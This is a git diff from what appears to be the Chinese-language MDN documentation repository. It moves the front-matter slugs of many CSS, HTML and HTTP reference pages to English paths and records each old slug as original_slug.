    diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/adding_z-index/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/adding_z-index/index.html index acd3b034ce..2e68f8e8df 100644 --- a/files/zh-cn/web/css/css_positioning/understanding_z_index/adding_z-index/index.html +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/adding_z-index/index.html @@ -1,7 +1,8 @@ --- title: Adding z-index -slug: Web/Guide/CSS/Understanding_z_index/Adding_z-index +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index +original_slug: Web/Guide/CSS/Understanding_z_index/Adding_z-index ---

    « CSS «理解z-index

    使用 {{ cssxref("z-index") }}

    diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/index.html index 19f49650d1..fde7369c12 100644 --- a/files/zh-cn/web/css/css_positioning/understanding_z_index/index.html +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/index.html @@ -1,10 +1,11 @@ --- title: 理解CSS的 z-index属性 -slug: Web/Guide/CSS/Understanding_z_index +slug: Web/CSS/CSS_Positioning/Understanding_z_index tags: - CSS - Guide translation_of: Web/CSS/CSS_Positioning/Understanding_z_index +original_slug: Web/Guide/CSS/Understanding_z_index ---

    {{cssref}}

    diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html index 9312c1759d..cfc8c11fd2 100644 --- a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html @@ -1,7 +1,8 @@ --- title: 层叠与浮动 -slug: Web/Guide/CSS/Understanding_z_index/Stacking_and_float +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float +original_slug: Web/Guide/CSS/Understanding_z_index/Stacking_and_float ---

    « CSS « 理解 CSS 中的 z-index

    diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html index 59f298d269..6f274711be 100644 --- a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html @@ -1,9 +1,10 @@ --- title: Stacking context example 1 -slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_1 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1 tags: - 理解_CSS_z-index translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1 +original_slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_1 ---

    « CSS « Understanding CSS z-index

    diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html index 3c21bef062..4a70265c3f 100644 --- a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html @@ -1,11 +1,12 @@ --- title: Stacking context example 2 -slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_2 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2 tags: - CSS - 理解css的index属性 - 高级 translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2 +original_slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_2 ---

    « CSS « 理解CSS z-index

    diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html index f7d2972c7c..fc4e13bc23 100644 --- a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html @@ -1,11 +1,12 @@ --- title: Stacking context example 3 -slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_3 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3 tags: - CSS - 层叠上下文 - 理解css的z-index属性 translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3 +original_slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_3 ---

    « CSS « Understanding CSS z-index

    diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html index a5aaebdc95..609ffc446d 100644 --- a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html @@ -1,7 +1,8 @@ --- title: Stacking without z-index -slug: Web/Guide/CSS/Understanding_z_index/Stacking_without_z-index +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index +original_slug: Web/Guide/CSS/Understanding_z_index/Stacking_without_z-index ---

    « CSS « 理解 CSS z-index

    diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html index 6d96e3e198..aa1da710e2 100644 --- a/files/zh-cn/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html @@ -1,6 +1,6 @@ --- title: 层叠上下文 -slug: Web/Guide/CSS/Understanding_z_index/The_stacking_context +slug: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context tags: - Advanced - CSS @@ -8,6 +8,7 @@ tags: - z-index - 教程 translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context +original_slug: Web/Guide/CSS/Understanding_z_index/The_stacking_context ---
    {{cssref}}
    diff --git a/files/zh-cn/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html b/files/zh-cn/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html index 65883df437..94d06bd862 100644 --- a/files/zh-cn/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html +++ b/files/zh-cn/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html @@ -1,11 +1,12 @@ --- -title: '在选择器中使用 :target 伪类' -slug: 'Web/Guide/CSS/Using_the_:target_selector' +title: 在选择器中使用 :target 伪类 +slug: Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors tags: - CSS - CSS_3 - Selectors -translation_of: 'Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors' +translation_of: Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors +original_slug: Web/Guide/CSS/Using_the_:target_selector ---

    {{CSSRef}}

    diff --git a/files/zh-cn/web/css/cssom_view/coordinate_systems/index.html b/files/zh-cn/web/css/cssom_view/coordinate_systems/index.html index d6ea967a43..aa08829542 100644 --- a/files/zh-cn/web/css/cssom_view/coordinate_systems/index.html +++ b/files/zh-cn/web/css/cssom_view/coordinate_systems/index.html @@ -1,7 +1,8 @@ --- title: 坐标系 -slug: Web/CSS/CSSOM_View/坐标系 +slug: Web/CSS/CSSOM_View/Coordinate_systems translation_of: Web/CSS/CSSOM_View/Coordinate_systems +original_slug: Web/CSS/CSSOM_View/坐标系 ---
    {{cssref}}
    diff --git a/files/zh-cn/web/css/float/index.html b/files/zh-cn/web/css/float/index.html index 30f9928c0b..51e9f68bf1 100644 --- a/files/zh-cn/web/css/float/index.html +++ b/files/zh-cn/web/css/float/index.html @@ -1,6 +1,6 @@ --- title: float -slug: CSS/float +slug: Web/CSS/float tags: - CSS - CSS Positioning @@ -9,6 +9,7 @@ tags: - CSS 属性 - 参考 translation_of: Web/CSS/float +original_slug: CSS/float ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/grid-template-rows/index.html b/files/zh-cn/web/css/grid-template-rows/index.html index 0dcd6b29d5..a898da47be 100644 --- a/files/zh-cn/web/css/grid-template-rows/index.html +++ b/files/zh-cn/web/css/grid-template-rows/index.html @@ -1,9 +1,10 @@ --- title: grid-template-rows -slug: Web/CSS/网格-模板-列 +slug: Web/CSS/grid-template-rows tags: - grid-template-rows translation_of: Web/CSS/grid-template-rows +original_slug: Web/CSS/网格-模板-列 ---

    grid-template-rows 该属性是基于 {{glossary("grid rows", "网格行")}} 的维度,去定义网格线的名称和网格轨道的尺寸大小。

    diff --git a/files/zh-cn/web/css/layout_cookbook/card/index.html b/files/zh-cn/web/css/layout_cookbook/card/index.html index 260ef3ba54..e100610287 100644 --- a/files/zh-cn/web/css/layout_cookbook/card/index.html +++ b/files/zh-cn/web/css/layout_cookbook/card/index.html @@ -1,7 +1,8 @@ --- title: 卡片 -slug: Web/CSS/Layout_cookbook/卡片 +slug: Web/CSS/Layout_cookbook/Card translation_of: Web/CSS/Layout_cookbook/Card +original_slug: Web/CSS/Layout_cookbook/卡片 ---

    {{CSSRef}}

    diff --git a/files/zh-cn/web/css/layout_cookbook/media_objects/index.html b/files/zh-cn/web/css/layout_cookbook/media_objects/index.html index 382e4bacce..d3dc29cd47 100644 --- a/files/zh-cn/web/css/layout_cookbook/media_objects/index.html +++ b/files/zh-cn/web/css/layout_cookbook/media_objects/index.html @@ -1,6 +1,6 @@ --- title: '指南: 媒体对象' -slug: Web/CSS/Layout_cookbook/媒体对象 +slug: Web/CSS/Layout_cookbook/Media_objects tags: - 媒体对象 - 布局 @@ -8,6 +8,7 @@ tags: - 浮动 - 网格 translation_of: Web/CSS/Layout_cookbook/Media_objects +original_slug: Web/CSS/Layout_cookbook/媒体对象 ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/media_queries/index.html b/files/zh-cn/web/css/media_queries/index.html index 9936c531f1..fe59e5d14b 100644 --- a/files/zh-cn/web/css/media_queries/index.html +++ b/files/zh-cn/web/css/media_queries/index.html @@ -1,6 +1,6 @@ --- title: 媒体查询 -slug: Web/CSS/媒体查询 +slug: Web/CSS/Media_Queries tags: - CSS - 参考 @@ -8,6 +8,7 @@ tags: - 媒体查询 - 总览 translation_of: Web/CSS/Media_Queries +original_slug: Web/CSS/媒体查询 ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/media_queries/testing_media_queries/index.html b/files/zh-cn/web/css/media_queries/testing_media_queries/index.html index 0d33436410..a29091c556 100644 --- a/files/zh-cn/web/css/media_queries/testing_media_queries/index.html +++ b/files/zh-cn/web/css/media_queries/testing_media_queries/index.html @@ -1,6 +1,6 @@ --- title: 使用编程方法测试媒体查询 -slug: Web/Guide/CSS/Testing_media_queries +slug: Web/CSS/Media_Queries/Testing_media_queries tags: - CSS - DOM @@ -8,6 +8,7 @@ tags: - Media Queries - Web translation_of: Web/CSS/Media_Queries/Testing_media_queries +original_slug: Web/Guide/CSS/Testing_media_queries ---
    {{cssref}}
    diff --git a/files/zh-cn/web/css/media_queries/using_media_queries/index.html b/files/zh-cn/web/css/media_queries/using_media_queries/index.html index bfb15efa67..0063d28a5a 100644 --- a/files/zh-cn/web/css/media_queries/using_media_queries/index.html +++ b/files/zh-cn/web/css/media_queries/using_media_queries/index.html @@ -1,6 +1,6 @@ --- title: 使用媒体查询 -slug: Web/Guide/CSS/Media_queries +slug: Web/CSS/Media_Queries/Using_media_queries tags: - CSS - CSS媒体查询 @@ -10,6 +10,7 @@ tags: - 媒体查询 - 指南 translation_of: Web/CSS/Media_Queries/Using_media_queries +original_slug: Web/Guide/CSS/Media_queries ---
    {{cssref}}
    diff --git a/files/zh-cn/web/css/offset/index.html b/files/zh-cn/web/css/offset/index.html index e61a0ffd7a..090e97fae9 100644 --- a/files/zh-cn/web/css/offset/index.html +++ b/files/zh-cn/web/css/offset/index.html @@ -1,7 +1,8 @@ --- title: offset -slug: Web/CSS/偏移 +slug: Web/CSS/offset translation_of: Web/CSS/offset +original_slug: Web/CSS/偏移 ---
    {{SeeCompatTable}}{{CSSRef}}{{draft}}
    diff --git a/files/zh-cn/web/css/overflow-wrap/index.html b/files/zh-cn/web/css/overflow-wrap/index.html index 5c2c0c687d..f772393d8b 100644 --- a/files/zh-cn/web/css/overflow-wrap/index.html +++ b/files/zh-cn/web/css/overflow-wrap/index.html @@ -1,6 +1,6 @@ --- title: overflow-wrap -slug: Web/CSS/word-wrap +slug: Web/CSS/overflow-wrap tags: - CSS Text Module Level 3 - CSS3 @@ -8,6 +8,7 @@ tags: - overflow-wrap - word-wrap translation_of: Web/CSS/overflow-wrap +original_slug: Web/CSS/word-wrap ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/text-decoration-thickness/index.html b/files/zh-cn/web/css/text-decoration-thickness/index.html index cdffd6eced..41179d7438 100644 --- a/files/zh-cn/web/css/text-decoration-thickness/index.html +++ b/files/zh-cn/web/css/text-decoration-thickness/index.html @@ -1,9 +1,10 @@ --- title: 文本装饰线厚度(粗细) -slug: Web/CSS/文本装饰线厚度(粗细) +slug: Web/CSS/text-decoration-thickness tags: - 装饰线粗细 装饰线厚度 translation_of: Web/CSS/text-decoration-thickness +original_slug: Web/CSS/文本装饰线厚度(粗细) ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/url()/index.html b/files/zh-cn/web/css/url()/index.html index 3ba85545e4..ed5d7cb5fd 100644 --- a/files/zh-cn/web/css/url()/index.html +++ b/files/zh-cn/web/css/url()/index.html @@ -1,8 +1,9 @@ --- title: -slug: Web/CSS/url +slug: Web/CSS/url() translation_of: Web/CSS/url() translation_of_original: Web/CSS/url +original_slug: Web/CSS/url ---

    {{ CssRef() }}

    diff --git a/files/zh-cn/web/css/visual_formatting_model/index.html b/files/zh-cn/web/css/visual_formatting_model/index.html index 640f3abbc9..bdf7bd11d6 100644 --- a/files/zh-cn/web/css/visual_formatting_model/index.html +++ b/files/zh-cn/web/css/visual_formatting_model/index.html @@ -1,11 +1,12 @@ --- title: 视觉格式化模型 -slug: Web/Guide/CSS/Visual_formatting_model +slug: Web/CSS/Visual_formatting_model tags: - CSS - CSS盒模型 - 参考 translation_of: Web/CSS/Visual_formatting_model +original_slug: Web/Guide/CSS/Visual_formatting_model ---

    {{CSSRef}}

    diff --git a/files/zh-cn/web/demos_of_open_web_technologies/index.html b/files/zh-cn/web/demos_of_open_web_technologies/index.html index 2a8a22bce5..a63be23067 100644 --- a/files/zh-cn/web/demos_of_open_web_technologies/index.html +++ b/files/zh-cn/web/demos_of_open_web_technologies/index.html @@ -1,6 +1,6 @@ --- title: 开源 Web 技术示例 -slug: Web/演示说明 +slug: Web/Demos_of_open_web_technologies tags: - 2D - 3D @@ -11,6 +11,7 @@ tags: - SVG - Video translation_of: Web/Demos_of_open_web_technologies +original_slug: Web/演示说明 ---

    Mozilla 支持各种令人兴奋的开源 Web 技术,我们鼓励大家使用它们。此页面提供了有关这些技术的一些有趣演示链接。

    diff --git a/files/zh-cn/web/guide/html/editable_content/index.html b/files/zh-cn/web/guide/html/editable_content/index.html index 00f44d6fd7..2fd8f49668 100644 --- a/files/zh-cn/web/guide/html/editable_content/index.html +++ b/files/zh-cn/web/guide/html/editable_content/index.html @@ -1,7 +1,8 @@ --- title: Content Editable -slug: Web/Guide/HTML/Content_Editable +slug: Web/Guide/HTML/Editable_content translation_of: Web/Guide/HTML/Editable_content +original_slug: Web/Guide/HTML/Content_Editable ---

    在HTML中,任何元素都可以被编辑。通过使用一些JavaScript事件处理程序,您可以将您的网页转换为完整且快速的富文本编辑器。本文提供了有关此功能的一些信息。

    diff --git a/files/zh-cn/web/guide/html/editable_content/rich-text_editing_in_mozilla/index.html b/files/zh-cn/web/guide/html/editable_content/rich-text_editing_in_mozilla/index.html index f237e94b61..68aedbd50c 100644 --- a/files/zh-cn/web/guide/html/editable_content/rich-text_editing_in_mozilla/index.html +++ b/files/zh-cn/web/guide/html/editable_content/rich-text_editing_in_mozilla/index.html @@ -1,10 +1,11 @@ --- title: Mozilla中的富文本编辑器 -slug: Web/Guide/HTML/Content_Editable/Rich-Text_Editing_in_Mozilla +slug: Web/Guide/HTML/Editable_content/Rich-Text_Editing_in_Mozilla tags: - 富文本 - 指南 translation_of: Web/Guide/HTML/Editable_content/Rich-Text_Editing_in_Mozilla +original_slug: Web/Guide/HTML/Content_Editable/Rich-Text_Editing_in_Mozilla ---

    Mozilla 1.3 实现了微软 IE 浏览器的 designMode 特性。Mozilla 1.3 的富文本编辑器支持的 designMode 特性能将 HTML 文档转换为富文本编辑器。从 Firefox 3 开始,Mozilla 也支持 IE 的 contentEditable 属性,该属性允许将任意元素设置为可编辑或不可编辑的(后者可阻止在可编辑环境中,对固定元素的改变)。

    diff --git a/files/zh-cn/web/guide/html/using_html_sections_and_outlines/index.html b/files/zh-cn/web/guide/html/using_html_sections_and_outlines/index.html index 2eeb6fe100..334412d09f 100644 --- a/files/zh-cn/web/guide/html/using_html_sections_and_outlines/index.html +++ b/files/zh-cn/web/guide/html/using_html_sections_and_outlines/index.html @@ -1,6 +1,6 @@ --- title: 使用 HTML 章节与大纲 -slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document +slug: Web/Guide/HTML/Using_HTML_sections_and_outlines tags: - HTML - HTML5 @@ -8,6 +8,7 @@ tags: - 文档结构 - 高阶 translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines +original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document ---

    (下方英文原文警告的过时已翻译版本)注意:下面描述的HTML 5 大纲算法在用户代理中还没有实现,因此,使用标题语义的用户暴露在HTML4的文档结构下。HTML5对问题的描述还仅仅是理论上的。

    diff --git a/files/zh-cn/web/guide/introduction_to_web_development/index.html b/files/zh-cn/web/guide/introduction_to_web_development/index.html index 9178cb39f5..13a6b590b2 100644 --- a/files/zh-cn/web/guide/introduction_to_web_development/index.html +++ b/files/zh-cn/web/guide/introduction_to_web_development/index.html @@ -1,7 +1,8 @@ --- title: Web开发介绍 -slug: Web_Development/Introduction_to_Web_development +slug: Web/Guide/Introduction_to_Web_development translation_of: Web/Guide/Introduction_to_Web_development +original_slug: Web_Development/Introduction_to_Web_development ---

    不论你是刚开始Web开发,还是想学习Web开发,这些链接都能帮助你。至少,立刻我们就能在这儿看到很多链接。

    diff --git a/files/zh-cn/web/guide/woff/index.html b/files/zh-cn/web/guide/woff/index.html index a91795c672..780ee248b8 100644 --- a/files/zh-cn/web/guide/woff/index.html +++ b/files/zh-cn/web/guide/woff/index.html @@ -1,10 +1,11 @@ --- title: 网页开放字体格式(WOFF) -slug: WOFF +slug: Web/Guide/WOFF tags: - WOFF - 字体 translation_of: Web/Guide/WOFF +original_slug: WOFF ---

    WOFF(网页开放字体格式) 是由 Mozilla 与 Type Supply, LettError 及其他组织协同开发的一种新的网页字体格式。它使用了一种压缩版本,类似于 TrueType, OpenType, Open Font 所采用的 SFNT 结构,不过还添加了共用数据及用户私有数据结构,其中包括了自定义空间,其允许厂家和经销商提供许可证。

    diff --git a/files/zh-cn/web/html/attributes/autocomplete/index.html b/files/zh-cn/web/html/attributes/autocomplete/index.html index af7452c6f7..e38b48cc4a 100644 --- a/files/zh-cn/web/html/attributes/autocomplete/index.html +++ b/files/zh-cn/web/html/attributes/autocomplete/index.html @@ -1,6 +1,6 @@ --- title: The HTML 自动完成属性 -slug: Web/HTML/Attributes/自动完成属性 +slug: Web/HTML/Attributes/autocomplete tags: - HTML - 参考 @@ -12,6 +12,7 @@ tags: - 自动完成 - 邮件地址 translation_of: Web/HTML/Attributes/autocomplete +original_slug: Web/HTML/Attributes/自动完成属性 ---
    {{HTMLSidebar("Global_attributes")}}
    diff --git a/files/zh-cn/web/html/attributes/crossorigin/index.html b/files/zh-cn/web/html/attributes/crossorigin/index.html index 9beb44e652..3b1c57e78d 100644 --- a/files/zh-cn/web/html/attributes/crossorigin/index.html +++ b/files/zh-cn/web/html/attributes/crossorigin/index.html @@ -1,6 +1,6 @@ --- title: CORS settings attributes -slug: Web/HTML/CORS_settings_attributes +slug: Web/HTML/Attributes/crossorigin tags: - Advanced - CORS @@ -12,6 +12,7 @@ tags: - img &video - script &link translation_of: Web/HTML/Attributes/crossorigin +original_slug: Web/HTML/CORS_settings_attributes ---

    在HTML5中,一些 HTML 元素提供了对 CORS 的支持, 例如 {{ HTMLElement("audio") }}、{{ HTMLElement("img") }}、{{ HTMLElement("link") }}、{{ HTMLElement("script") }} 和 {{ HTMLElement("video") }} 均有一个跨域属性 (crossOrigin property),它允许你配置元素获取数据的 CORS 请求。 

    diff --git a/files/zh-cn/web/html/element/input/month/index.html b/files/zh-cn/web/html/element/input/month/index.html index 9a2fbb6f2a..91767c43f0 100644 --- a/files/zh-cn/web/html/element/input/month/index.html +++ b/files/zh-cn/web/html/element/input/month/index.html @@ -1,11 +1,12 @@ --- title: -slug: Web/HTML/Element/Input/月份 +slug: Web/HTML/Element/input/month tags: - HTML - Input - 表单 translation_of: Web/HTML/Element/input/month +original_slug: Web/HTML/Element/Input/月份 ---

    {{HTMLRef}}

    diff --git a/files/zh-cn/web/html/element/input/range/index.html b/files/zh-cn/web/html/element/input/range/index.html index 9450c705b2..d491878f8f 100644 --- a/files/zh-cn/web/html/element/input/range/index.html +++ b/files/zh-cn/web/html/element/input/range/index.html @@ -1,6 +1,6 @@ --- title: -slug: Web/HTML/Element/Input/范围 +slug: Web/HTML/Element/input/range tags: - HTML - 元素 @@ -8,6 +8,7 @@ tags: - 网页 - 范围 translation_of: Web/HTML/Element/input/range +original_slug: Web/HTML/Element/Input/范围 ---
    {{HTMLRef}}
    diff --git a/files/zh-cn/web/html/global_attributes/x-ms-acceleratorkey/index.html b/files/zh-cn/web/html/global_attributes/x-ms-acceleratorkey/index.html index b44ded3590..2e01b3ac1f 100644 --- a/files/zh-cn/web/html/global_attributes/x-ms-acceleratorkey/index.html +++ b/files/zh-cn/web/html/global_attributes/x-ms-acceleratorkey/index.html @@ -1,12 +1,13 @@ --- title: x-ms-加速装置键 -slug: Web/HTML/Global_attributes/x-ms-加速装置键 +slug: Web/HTML/Global_attributes/x-ms-acceleratorkey tags: - HTML - 参考 - 属性 - 无标准的 translation_of: Web/HTML/Global_attributes/x-ms-acceleratorkey +original_slug: Web/HTML/Global_attributes/x-ms-加速装置键 ---
    {{HTMLSidebar("Global_attributes")}}{{Non-standard_Header}}
    diff --git a/files/zh-cn/web/html/global_attributes/x-ms-format-detection/index.html b/files/zh-cn/web/html/global_attributes/x-ms-format-detection/index.html index c36b3ca744..f2cae391bf 100644 --- a/files/zh-cn/web/html/global_attributes/x-ms-format-detection/index.html +++ b/files/zh-cn/web/html/global_attributes/x-ms-format-detection/index.html @@ -1,12 +1,13 @@ --- title: x-ms-格式-检测 -slug: Web/HTML/Global_attributes/x-ms-格式-检测 +slug: Web/HTML/Global_attributes/x-ms-format-detection tags: - HTML - x-ms-format-detection - 参考 - 属性 translation_of: Web/HTML/Global_attributes/x-ms-format-detection +original_slug: Web/HTML/Global_attributes/x-ms-格式-检测 ---
    {{HTMLSidebar("Global_attributes")}}{{Non-standard_Header}}
    diff --git a/files/zh-cn/web/http/basics_of_http/data_uris/index.html b/files/zh-cn/web/http/basics_of_http/data_uris/index.html index 5153482967..1373bc29dc 100644 --- a/files/zh-cn/web/http/basics_of_http/data_uris/index.html +++ b/files/zh-cn/web/http/basics_of_http/data_uris/index.html @@ -1,6 +1,6 @@ --- title: Data URLs -slug: Web/HTTP/data_URIs +slug: Web/HTTP/Basics_of_HTTP/Data_URIs tags: - Base64 - HTTP @@ -8,6 +8,7 @@ tags: - 教程 - 进阶 translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs +original_slug: Web/HTTP/data_URIs ---
    {{HTTPSidebar}}
    diff --git a/files/zh-cn/web/http/caching/index.html b/files/zh-cn/web/http/caching/index.html index 3bf85cb945..6f44f57fc2 100644 --- a/files/zh-cn/web/http/caching/index.html +++ b/files/zh-cn/web/http/caching/index.html @@ -1,6 +1,6 @@ --- title: HTTP 缓存 -slug: Web/HTTP/Caching_FAQ +slug: Web/HTTP/Caching tags: - Cache-Control - ETag @@ -13,6 +13,7 @@ tags: - 指南 - 缓存 translation_of: Web/HTTP/Caching +original_slug: Web/HTTP/Caching_FAQ ---
    {{HTTPSidebar}}
    diff --git a/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.html b/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.html index 9db5868657..ad0ac618da 100644 --- a/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.html +++ b/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.html @@ -1,7 +1,8 @@ --- title: Accept 默认值 -slug: Web/HTTP/Content_negotiation/Accept_默认值 +slug: Web/HTTP/Content_negotiation/List_of_default_Accept_values translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values +original_slug: Web/HTTP/Content_negotiation/Accept_默认值 ---
    {{HTTPSidebar}}
    diff --git a/files/zh-cn/web/http/cors/errors/corsmissingallowcredentials/index.html b/files/zh-cn/web/http/cors/errors/corsmissingallowcredentials/index.html index 8a8f8d0074..c66cf9a519 100644 --- a/files/zh-cn/web/http/cors/errors/corsmissingallowcredentials/index.html +++ b/files/zh-cn/web/http/cors/errors/corsmissingallowcredentials/index.html @@ -1,7 +1,8 @@ --- title: 故:在CORS头Access-Control-Allow-Credentials中预期为true -slug: Web/HTTP/CORS/Errors/CORS错误允许凭证 +slug: Web/HTTP/CORS/Errors/CORSMIssingAllowCredentials translation_of: Web/HTTP/CORS/Errors/CORSMIssingAllowCredentials +original_slug: Web/HTTP/CORS/Errors/CORS错误允许凭证 ---
    diff --git a/files/zh-cn/web/http/cors/index.html b/files/zh-cn/web/http/cors/index.html index c7acc1344d..317acf8913 100644 --- a/files/zh-cn/web/http/cors/index.html +++ b/files/zh-cn/web/http/cors/index.html @@ -1,6 +1,6 @@ --- title: 跨源资源共享(CORS) -slug: Web/HTTP/Access_control_CORS +slug: Web/HTTP/CORS tags: - AJAX - CORS @@ -12,8 +12,9 @@ tags: - Same-origin policy - Security - XMLHttpRequest - - 'l10n:priority' + - l10n:priority translation_of: Web/HTTP/CORS +original_slug: Web/HTTP/Access_control_CORS ---
    {{HTTPSidebar}}
    diff --git a/files/zh-cn/web/http/feature_policy/index.html b/files/zh-cn/web/http/feature_policy/index.html index 90e83fb04a..2bb8309404 100644 --- a/files/zh-cn/web/http/feature_policy/index.html +++ b/files/zh-cn/web/http/feature_policy/index.html @@ -1,7 +1,8 @@ --- title: Feature Policy -slug: Web/HTTP/策略特征 +slug: Web/HTTP/Feature_Policy translation_of: Web/HTTP/Feature_Policy +original_slug: Web/HTTP/策略特征 ---
    {{SeeCompatTable}}{{HTTPSidebar}}
    diff --git a/files/zh-cn/web/http/feature_policy/using_feature_policy/index.html b/files/zh-cn/web/http/feature_policy/using_feature_policy/index.html index 9a37fa46f3..3be5183728 100644 --- a/files/zh-cn/web/http/feature_policy/using_feature_policy/index.html +++ b/files/zh-cn/web/http/feature_policy/using_feature_policy/index.html @@ -1,7 +1,8 @@ --- title: Using Feature Policy -slug: Web/HTTP/策略特征/Using_Feature_Policy +slug: Web/HTTP/Feature_Policy/Using_Feature_Policy translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy +original_slug: Web/HTTP/策略特征/Using_Feature_Policy ---
    {{HTTPSidebar}} {{SeeCompatTable}}
    diff --git a/files/zh-cn/web/http/headers/strict-transport-security/index.html b/files/zh-cn/web/http/headers/strict-transport-security/index.html index d890b429ef..da1c441a5a 100644 --- a/files/zh-cn/web/http/headers/strict-transport-security/index.html +++ b/files/zh-cn/web/http/headers/strict-transport-security/index.html @@ -1,6 +1,6 @@ --- title: HTTP Strict Transport Security -slug: Web/HTTP/HTTP_Strict_Transport_Security +slug: Web/HTTP/Headers/Strict-Transport-Security tags: - HSTS - HTTP @@ -8,6 +8,7 @@ tags: - Security - header translation_of: Web/HTTP/Headers/Strict-Transport-Security +original_slug: Web/HTTP/HTTP_Strict_Transport_Security ---
     HTTP Strict Transport Security(通常简称为{{Glossary("HSTS")}})是一个安全功能,它告诉浏览器只能通过HTTPS访问当前资源,而不是HTTP
    diff --git a/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.html b/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.html index 313d309ccb..fa88398051 100644 --- a/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.html +++ b/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.html @@ -1,12 +1,13 @@ --- title: X-DNS-Prefetch-Control -slug: Controlling_DNS_prefetching +slug: Web/HTTP/Headers/X-DNS-Prefetch-Control tags: - DNS - DNS prefetch - HTTP - 预解析 translation_of: Web/HTTP/Headers/X-DNS-Prefetch-Control +original_slug: Controlling_DNS_prefetching ---

    {{HTTPSidebar}}

    diff --git a/files/zh-cn/web/http/headers/x-frame-options/index.html b/files/zh-cn/web/http/headers/x-frame-options/index.html index 2b6cfcda76..22bc56158a 100644 --- a/files/zh-cn/web/http/headers/x-frame-options/index.html +++ b/files/zh-cn/web/http/headers/x-frame-options/index.html @@ -1,12 +1,13 @@ --- title: X-Frame-Options -slug: Web/HTTP/X-Frame-Options +slug: Web/HTTP/Headers/X-Frame-Options tags: - HTTP - 响应头 - 响应头部 - 安全性 translation_of: Web/HTTP/Headers/X-Frame-Options +original_slug: Web/HTTP/X-Frame-Options ---
    {{HTTPSidebar}}
